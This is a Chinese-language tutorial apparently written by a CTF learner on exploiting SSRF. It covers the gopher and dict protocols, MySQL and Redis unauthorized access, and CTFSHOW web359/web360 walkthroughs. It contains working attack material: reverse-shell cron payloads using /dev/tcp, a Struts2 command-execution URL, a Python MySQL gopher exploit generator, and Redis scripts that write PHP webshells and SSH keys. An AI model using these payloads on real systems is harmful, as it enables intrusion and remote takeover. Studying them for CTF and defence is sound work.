0x01 写在前面

在 TUTCTF 中出现了利用一道 SSRF 打 Radis 的赛题,在后续科技协会最终面试时同样问到了 SSRF 的漏洞利用,说来惭愧,在中期考核时就已经提问过其的相关内容了,复盘也只是简单回顾了一下,现在看来当时完全没理解(

0x02 概念初识

SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,利用一个可发起网络请求的服务当作跳板来攻击其他服务,一般情况下,一般用来在外网探测或攻击内网服务

正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统

0x03 漏洞原理

SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,攻击者操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器

主要攻击方式如下所示:

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  • 攻击运行在内网或本地的应用程序
  • 对内网 Web 应用进行指纹识别,识别企业内部的资产信息
  • 攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2、SQli 等)
  • 利用 file 协议读取本地文件等

0x04 相关函数/类

file_get_contents()

将整个文件或一个 url 所指向的文件读入一个字符串中,并展示给用户

1
2
3
4
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>

img

fsockopen()

打开 Internet 或者 Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定 url 数据的获取,该函数会使用 socket 跟服务器建立 tcp 连接,进行传输原始数据

fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets()fgetss()fwrite()fclose() 还有 feof()),如果调用失败,将返回 false

img

curl_exec()

curl_init(url)函数初始化一个新的会话,返回一个 cURL 句柄,供 curl_setopt()curl_exec()curl_close() 函数使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>

img

SoapClient()

SOAP 是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于 SOAP 协议可专门用来访问 WEB 服务的 PHP 客户端

SoapClient 是一个 php 的内置类,当其进行反序列化时,如果触发了该类中的 __call 方法,那么 __call 便方法可以发送 HTTP 和 HTTPS 请求。该类的构造函数如下:

1
**public** SoapClient :: SoapClient(**mixed** $wsdl [,**array** $options ])
  • 第一个参数是用来指明是否是 wsdl 模式
  • 第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间

知道上述两个参数的含义后,就很容易构造出 SSRF 的利用 Payload 了。我们可以设置第一个参数为 null,然后第二个参数为一个包含 location 和 uri 的数组,location 选项的值设置为 target_url:

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('uri'=>'http://127.0.0.1:2333', 'location'=>'http://127.0.0.1:2333/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

本地监听 2333 端口,访问 /ssrf.php 即可得到访问 /aaa 的数据

img

tips:

  • 一般情况下 PHP 不会开启 fopen 的 gopher wrapper
  • file_get_contents() 的 gopher 协议不能 URL 编码
  • file_get_contents() 关于 Gopher 的 302 跳转会出现 bug,导致利用失败
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断) 经测试 7.49 可用
  • curl_exec() 默认不跟踪跳转
  • file_get_contents() 支持 php://input 协议

0x05 相关协议

file 协议

在有回显的情况下,利用 file 协议可以读取本地文件的内容

ftp 协议

FTP(File Transfer Protocol,文件传输协议) 是 TCP/IP 协议组中的协议之一。FTP 协议包括两个组成部分,其一为 FTP 服务器,其二为 FTP 客户端。其中 FTP 服务器用来存储文件,用户可以使用 FTP 客户端通过 FTP 协议访问位于 FTP 服务器上的资源。在开发网站的时候,通常利用 FTP 协议把网页或程序传到 Web 服务器上。此外,由于 FTP 传输效率非常高,在网络上传输大的文件时,一般也采用该协议

  • 主要功能:探测目标端口
  • 如果目标未开放探测的端口,则会立马产生回显
  • 如果对方开放了所探测的端口,页面将会一直处于加载中的状态

dict 协议

泄露安装软件版本信息,查看端口,操作内网 redis 服务等

dict 返回的指纹信息判断开启的服务 , 结合端口探测内网服务

http/s 协议

探测内网主机存活,但是很多不会开 Http 协议所以利用点比较小

gopher 协议

推荐文章:https://zhuanlan.zhihu.com/p/112055947

基础概念

Gopher 是 Internet 上一个非常有名的信息查找系统,它将 Internet 上的文件组织成某种索引,很方便地将用户从 Internet 的一处带到另一处。在 WWW 出现之前,Gopher 是 Internet 上最主要的信息检索工具,Gopher 站点也是最主要的站点,使用 tcp70 端口。但在 WWW 出现后,Gopher 失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,在构成符合 gopher 协议的请求。gopher 协议是 ssrf 利用中最强大的协议,也被称为“万能协议”

使用限制

gopher 协议在各个编程语言中的使用限制

img

—wite-curlwrappers:运用 curl 工具打开 url 流

curl —version:查看版本以及支持的协议

img

格式要求

1
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • gopher 的默认端口是 70
  • 如果发起 post 请求,回车换行需要使用**%0d%0a**,如果多个参数,参数之间的&也需要进行 URL 编码

请求发起

问号(?)需要转码为 URL 编码,也就是 %3f

回车换行要变为**%0d%0a**,但如果直接用工具转,可能只会有 %0a

在 HTTP 包的最后要加**%0d%0a**,代表消息结束

构造 gopher 协议的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import re
import urllib.parse

data = '''
GET /try.php?a=G3n&b=g4r HTTP/1.1
Host: 192.168.0.130:8201
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''

data = urllib.parse.quote(data)

strinfo = re.compile('%0A', re.I)
new = strinfo.sub('%0D%0A', data)

new = 'gopher://192.168.0.130:8201/_' + new + '%0D%0A'
new = urllib.parse.quote(new)

with open('Result.txt', 'w') as f:
f.write(new)

with open('Result.txt', 'r') as f:
for line in f.readlines():
print(line.strip())

tips

下划线填充

img

_ 必需的,可以是任意字符,不会被传输,但是必须要有,表示后面接着的都是要传输的数据

nc 发现数据换行了,但是只显示了 ello,而 c 则消失了,因此在这里我们以后构造 gopher 需要在在之前加入 _ 来充当那个消失的字符:

img

url 编码

注意如果在地址栏利用 payload 时要再进行一次 url 编码,且注意 BP 抓取的是浏览器 URLEncode 编码后的数据,所以我们在传递 url 参数时需要对整个 gopher 协议也进行二次编码

这样到达服务器一次解码得到的就是:

1
gopher%3A//192.168.0.130%3A8201/_%250D%250AGET%2520/try.php%253Fa%253DG3n%2526b%253Dg4r%2520HTTP/1.1%250D%250AHost%253A%2520192.168.0.130%253A8201%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/92.0.4515.159%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A

Gopher 毕竟是伪协议,发送的 TCP 数据流要求是 URLEncode 后的,这样就是可以正常解析的 URL,丢给 curl 函数执行就好

others

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

0x06 漏洞演示

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function curl($url){
$curlObj = curl_init();
curl_setopt($curlObj, CURLOPT_URL, $url);
curl_setopt($curlObj, CURLOPT_HEADER, 0);
curl_exec($curlObj);
curl_close($curlObj);
}

$url = $_GET['url'];
curl($url);
?>

攻击运行在内网或本地的应用程序

使用 file 协议 file protocol (任意文件读取)

1
curl -vvv "http://target/ssrf.php?url=file:///etc/passwd"

使用 dict 协议 dict protocol (获取 Redis 配置信息)

1
curl -vvv "http://target/ssrf.php?url=dict://127.0.0.1:6379/info"

使用 gopher 协议(俗称万能协议) gopher protocol (反弹 shell)

1
curl -vvv "http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a"

扫描内部网络,获取端口,服务信息

构造 IP:PORT 进行访问

1
2
3
4
http://localhost/ssrf.php?url=<u>http://192.168.1.124</u>:80
http://localhost/ssrf.php?url=<u>http://192.168.1.124</u>:8080
http://localhost/ssrf.php?url=<u>http://192.168.1.124:</u>3306
http://localhost/ssrf.php?url=<u>http://192.168.1.124:6379</u>

有一些端口服务的 banner 有就会探测到输出到页面上,或者开放的端口访问的状态码是 5 开头(500、501、503…)或者 4 开头(403、404…)等。端口未开放访问的网页的时间会比较长

对内网 web 进行指纹识别

通过构造一些 cms 的特征图片、目录、文件等去进行请求,如果内网 192.168.1.124 这台服务 8080 端口存在 phpmyadmin,访问就会出现该图片

1
2
3
http://192.168.1.124:8080/phpMyAdmin/themes/original/img/b_tblimport.png
http://192.168.1.124:8081/wp-content/themes/default/images/audio.jpg
http://192.168.1.124:8082/profiles/minimal/translations/README.txt

对内部主机和端口发送请求包进行攻击

get 方法可以攻击 web,比如 struts2 命令执行、Thinkphp、Jboss 等

针对内网 192.168.1.139 这台服务器进行攻击,执行命令 whoami:

1
http://localhost/ssrf.php?url=<u>http://192.168.1.139</u>:8081/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action

post 方法我们可以用 gopher 协议去发送请求数据包

1
http://localhost/ssrf.php?url=gopher://192.168.1.124:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword

0x07 MySQL 未授权攻击

文件读取

MySQL 数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程

登录时需要用服务器发来的 scramble 加密密码,但是当数据库用户密码为空时,加密后的密文也为空。client 给 server 发的认证包就是相对固定的了。这样就无需交互,可以通过 gopher 协议来发送

正常的 MySQL 认证:

  • Client —-连接请求—-> Server
  • Client <—scramble(挑战数)— Server (seq=0)
  • Client —-加密后的密码—-> Server (seq=1)

关键:密码为空时,加密后的密文也是空的! 所以客户端发的认证包是固定可预测的

环境模拟:

1
2
3
4
5
6
7
8
9
10
11
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$data = curl_exec($ch);
curl_close($ch);
header('Content-Type: text/plain; charset=utf-8');
echo $data;
?>

本地搭建的数据库的设立了一个名为 ssrf 的用户,且赋予其权限,允许空密码登录:

1
2
CREATE USER 'ssrf'@'localhost';
GRANT ALL ON *.* TO 'ssrf'@'localhost';

创建测试数据:

1
2
3
4
CREATE DATABASE IF NOT EXISTS test;
USE test;
CREATE TABLE IF NOT EXISTS flag (id INT, content VARCHAR(255));
INSERT INTO flag VALUES (1, 'FLAG{test_flag_here}');

payload 生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
_"""_
_用法: python exploit.py -u 用户名 -d information_schema -p "" -P "sql语句" -v -c_
_"""_

import struct
import hashlib
import argparse
from urllib.parse import quote


def sha1(data):
return hashlib.sha1(data).digest()


def xor_string(s1, s2):
result = bytearray()
for i in range(min(len(s1), len(s2))):
result.append(s1[i] ^ s2[i])
return bytes(result)


def mysql_native_password(password, scramble):
if not password:
return b""
stage1 = sha1(password.encode())
stage2 = sha1(stage1)
stage3 = sha1(scramble + stage2)
return xor_string(stage1, stage3)


def add_mysql_header(body, seq):
length = len(body)
return struct.pack("<I", length)[:3] + struct.pack("B", seq) + body


def generate_payload(host, port, username, password, database, sql):
scramble = b"\x00" * 20
raw = bytearray()

# 认证包
auth = bytearray()
client_flag = 0x0AA285
auth += struct.pack("<I", client_flag & 0xFFFFFFFF)
auth += struct.pack("<I", 16777215)
auth += struct.pack("B", 0xFF)
auth += b"\x00" * 23
auth += username.encode() + b"\x00"
resp = mysql_native_password(password, scramble)
auth += struct.pack("B", len(resp))
if resp:
auth += resp
auth += b"mysql_native_password\x00"
raw += add_mysql_header(bytes(auth), seq=1)

# USE database
if database:
q = b"\x03" + f"USE {database}".encode()
raw += add_mysql_header(q, seq=0)

# SQL 查询
q = b"\x03" + sql.encode()
raw += add_mysql_header(q, seq=0)

# COM_QUIT
raw += add_mysql_header(b"\x01", seq=0)

gopher_url = f"gopher://{host}:{port}/_{quote(raw)}"
return gopher_url, raw


def main():
parser = argparse.ArgumentParser(description="Gopher MySQL Attack")
parser.add_argument("-u", "--user", required=True, help="MySQL用户")
parser.add_argument("-d", "--database", default="", help="数据库名")
parser.add_argument("-p", "--password", default="", help="密码")
parser.add_argument("-P", "--sql", required=True, help="SQL语句")
parser.add_argument("-H", "--host", default="127.0.0.1", help="MySQL地址")
parser.add_argument("--port", type=int, default=3306, help="MySQL端口")
parser.add_argument("-v", "--verbose", action="store_true", help="显示详细信息")
parser.add_argument("-c", "--curl", action="store_true",
help="输出二次编码的 SSRF 链接(放 ?url= 用)")

args = parser.parse_args()

gopher_url, raw = generate_payload(
args.host, args.port, args.user, args.password,
args.database, args.sql
)

if args.verbose:
print(f"\n[*] Gopher URL:")
print(gopher_url)
print(f"\n[*] Payload hex ({len(raw)} bytes):")
for i in range(0, len(raw), 32):
chunk = raw[i:i+32]
hx = " ".join(f"{b:02x}" for b in chunk)
asc = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
print(f" {hx:<48s} {asc}")
else:
print(gopher_url)

if args.curl:
double = quote(gopher_url, safe="")
print(f"\n[*] SSRF 链接 (?url= 二次编码):")
print(double)


if __name__ == "__main__":
main()

img

在 BP 中发包需要使用二次编码的 payload:

img

接下来就是常规的 sql 查询了:

1
python exploit.py -u ssrf -d ssrf_demo -p "" -P "select * from flag" -c

img

img

未授权写 shell

满足条件:

  • 数据库账户拥有 FILE 权限;
  • MySQL 对目标目录具有写权限;
  • 知道 Web 根目录位置;
  • 目标环境配置存在缺陷;

那么攻击者可能尝试将内容写入服务器文件系统

1
SELECT 1,"<?php @assert($_POST['t']);?>",3,4 INTO OUTFILE '/var/www/html/shell.php';

需要关注的点就是:outfile 后面不能接 0x 开头或者 char 转换以后的路径,只能是单引号路径。这个问题在 php 注入中更加麻烦,因为会自动将单引号转义成’,那么基本就无了,但是 load_file

1
SELECT LOAD_FILE('/etc/passwd')

后面的路径可以是单引号、0x、char 转换的字符,但是路径中的斜杠是/而不是\

漏洞原理

MySQL 客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;当无需密码认证时直接发送 TCP/IP 数据包即可。所以在非交互模式下登录并操作 MySQL 只能在无需密码认证,未授权情况下进行

进行 mysql 查询的时候有数据包交互,我们要做的就是伪造这种数据包交互,进行 curl,当然,这种我们伪造的数据包是利用 gopher 协议进行发送的

例题演示

CTFSHOW web359

抓包发现 POST 参数 returl,尝试传递 url

img

题目提示打无密码 mysql,利用自动化工具 Gopherus 生成 payload,用户为 root,sql 语句为 select '<?php eval($_GET[c]);?>' into outfile '/var/www/html/c.php';

img

将生成的 payload 再次编码,放进 bp 发包

1
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2547%2545%2554%255b%2563%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

img

webshell 就写进了 /c.php,访问进行 rce 即可

0x08 Redis 未授权攻击

漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器

漏洞的产生条件有以下两点:

  • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(默认为空),可以免密码远程登录 redis 服务

在 SSRF 漏洞中,如果通过端口扫描等方法发现目标主机上开放 6379 端口,则目标主机上很有可能存在 Redis 服务。此时,如果目标主机上的 Redis 由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用 Gopher 协议远程操纵目标主机上的 Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写 WebShell、写 SSH 公钥、创建计划任务反弹 Shell 等…..

思路都就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或/var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行 save 或 bgsave 保存,则我们就指定的目录里写入指定的文件了

RESP 协议

Redis 未授权访问

监听网络流量,将捕获发往 Redis 的 TCP 数据包保存到 redis.pcap

1
sudo tcpdump -i lo -nn -s 0 port 6379 -w /tmp/redis.pcap

另开一个命令行窗口连接 Redis

1
redis-cli

img

拿到本地用 wireshark 分析下数据包,追踪下 TCP 流:

img

Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信

RESP 协议是在 Redis 1.2 中引入的,但它成为了与 Redis 2.0 中的 Redis 服务器通信的标准方式

RESP 实际上是一个支持以下数据类型的序列化协议

  • 简单字符串
  • 错误
  • 整数
  • 批量字符串
  • 数组

RESP 在 Redis 中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为 Bulk Strings 的 RESP 数组发送到 Redis 服务器
  2. 服务器根据命令实现回复一种 RESP 类型

在 RESP 中,某些数据的类型取决于第一个字节:

  • 对于客户端请求 Simple Strings,回复的第一个字节是 +
  • 对于客户端请求 error,回复的第一个字节是 -
  • 对于客户端请求 Integer,回复的第一个字节是 :
  • 对于客户端请求 Bulk Strings,回复的第一个字节是 $
  • 对于客户端请求 array,回复的第一个字节是 *

此外,RESP 能够使用稍后指定的 Bulk StringsArray 的特殊变体来表示 Null 值。

在 RESP 中,协议的不同部分始终以 "\r\n"(CRLF) 结束

Bulk Strings 用于表示长度最大为 512 MB 的单个二进制安全字符串,按以下方式编码:

  • $字节数:一个 $ 后跟组成字符串的字节数,由 CRLF 终止。
  • 字符串数据
  • CRLF

字符串 G3ng4r 的编码如下:$6\r\nG3ng4r\r\n,如下图格式

img

RESP Arrays 使用以下格式发送:

  • *元素数* 字符作为第一个字节,后跟数组中的元素数,后跟 CRLF
  • 数组中的每个元素都附加 RESP 类型

现在通过下图理解数据包:

  • 每一个 *number 代表每一行命令,number 代表每行命令中数组中的元素个数:图中的 *3,代表 config get dbfilename 这行命令的 3 个元素
  • $number 代表每个元素的长度:$6,代表 config 长度

img

Redis 认证访问

在 redis-cli 中修改 redis 密码后再次进入 redis

1
CONFIG SET requirepass 123456

img

可以看到我们进行 PING 命令时提示 NOAUTH Authentication required,需要进行密码认证

1
AUTH 123456

此后每次请求命令执行之前都使用下面格式进行验证:

1
2
3
4
5
*2
$4
AUTH
$6
123456

官方文档中提到:客户端可以通过一个写操作发送多个命令,而不需要在发出下一个命令之前读取上一个命令的服务器应答

因此,在具有认证(弱口令)的情况下,我们依然可以进行与未授权相同的攻击方式,只需要在攻击脚本中加上验证数据即可

攻击方式

写进定时任务

1
flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave

我们来一条条解释 redis 命令

  • flushall:删除 Redis 中所有数据,避免原有内容干扰后续写入
  • set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\n\n':设置键名为 1,键值为反弹 shell,其中 */1 * * * * 是 Cron(Linux 计划任务)的时间表达式,表示每分钟执行一次
  • config set dir /var/spool/cron/config:修改 Redis 持久化文件的保存目录,/var/spool/cron/是 Linux 计划任务相关目录,目的是让 Redis 把持久化文件写到系统敏感目
  • config set dbfilename root:修改 Redis 持久化文件名
  • save:保存设置

绝对路径写 Webshell

于实战而言利用价值不大,开 Redis 的内网服务器一般不会开 Web 服务,但却是 CTF 中常见的考点

1
flushallset 1 '<?php **eval**($_POST["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave

webshell 被写进 /shell.php

gopher 协议生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import urllib.parse

protocol = "gopher://"
ip = "192.168.0.141"
port = "6379"
shell = "\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/"
passwd = ""

cmd = [
"flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]

if passwd:
cmd.insert(0, "AUTH {}".format(passwd))

payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len(x.replace("${IFS}", " "))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd


if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
payload = urllib.parse.quote(payload)
with open('Result.txt', 'w') as f:
f.write(payload)
with open("Result.txt", "r") as f:
for line in f.readlines():
print(line.strip())

写入 ssh 公钥

使用 ssh-keygen -t rsa 生成公钥和私钥。RSA 加密算法就是公钥加密,私钥解密;所以我们要把公钥给服务器,然后用自己私钥登录

注意如果 redis 那台服务器没有目录的话一定要想办法生成好,不然会报路径错误

img

Redis 命令写入公钥

1
flushallset 1 '公钥'config set dir /root/.ssh/config set dbfilename authorized_keyssave

gopher 协议生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import urllib.parse

protocol = "gopher://"
ip = "192.168.0.141"
port = "6379"
ssh_pub = (
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQ"
"ABAAABAQC8YIKqm8JZRdoi2FCY97+fNp+lT"
"CEwoPPoBGOKLLWYeeKsm3gRNy7kmHx1IHhsm"
"yIknEcbQCciBx41Ln+1SIbEqYVFksHNxk8xG"
"iaxjsUOYATqQ1Lkq/ZMxKAzpq08uGp17URbJmv3JtuKEkHPdEHDqvBQJLUVJCCvAm86Yer8y663BFxRv5AXwSkCYquL"
"P7XvG6yyYATdoRPJCdqjTtsGIlpJOH4gMfEhZOxKsLzwZJIWYose2BEA1REM7Nfxx2Oqva/hSErf5RqXgXXSWC3/jBlz"
"P2xof1a4CDRL9LoKLLTwUFQKWSMfnjMKYH3+uZIg4MyUAdWWwubEhpS6lpJd wzf@wzf-virtual-machine"
)
filename = "authorized_keys"
path = "/root/.ssh/"
passwd = ""

cmd = [
"flushall",
"set 1 {}".format(ssh_pub.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
]

if passwd:
cmd.insert(0, "AUTH {}".format(passwd))

payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len(x.replace("${IFS}", " "))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd


if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
payload = urllib.parse.quote(payload)
with open("Result.txt", "w") as f:
f.write(payload)
with open("Result.txt", "r") as f:
for line in f.readlines():
print(line.strip())

例题演示

CTFSHOW web360** **题目源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

dict 协议探测 6379 端口回显了报错信息,说明其上开启了 redis 服务,探测 info 路由发现确实如此

img

手写 redis 命令,注意 Redis 写入的是原始二进制字节,为了保护 payload 中特殊字符字符的完整需要进行 16 进制编码

1
2
3
4
5
6
7
8
9
url=dict://127.0.0.1:6379/flushall

url=dict://127.0.0.1:6379/set shell "\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3f\x3e"

url=dict://127.0.0.1:6379/config set dir /var/www/html

url=dict://127.0.0.1:6379/config set dbfilename shell.php

url=dict://127.0.0.1:6379/save

访问我们写入的后门 getshell

img

